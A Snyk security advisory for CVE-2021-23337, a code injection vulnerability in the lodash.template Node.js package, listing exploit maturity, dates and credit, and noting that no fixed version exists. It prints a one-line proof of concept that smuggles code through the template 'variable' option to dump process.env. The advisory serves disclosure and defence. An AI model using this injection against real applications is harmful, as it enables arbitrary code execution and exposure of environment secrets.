Code Injection Affecting lodash.template package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.86% (83rd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-LODASHTEMPLATE-1088054
- published 15 Feb 2021
- disclosed 17 Nov 2020
- credit Marc Hassan
Introduced: 17 Nov 2020
CVE-2021-23337 Open this link in a new tabHow to fix?
There is no fixed version for lodash.template
.
Overview
lodash.template is a The Lodash method _.template exported as a Node.js module.
Affected versions of this package are vulnerable to Code Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
References
CVSS Scores
version 3.1